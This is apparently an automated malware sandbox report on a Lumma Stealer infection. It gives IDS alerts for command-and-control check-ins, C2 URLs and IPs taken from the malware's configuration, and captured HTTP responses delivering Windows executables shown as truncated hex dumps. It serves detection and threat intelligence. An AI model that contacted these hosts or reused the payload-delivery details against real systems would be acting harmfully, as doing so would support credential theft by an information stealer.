Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50137 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50169 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50169 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50166 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50166 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:24 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:52:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 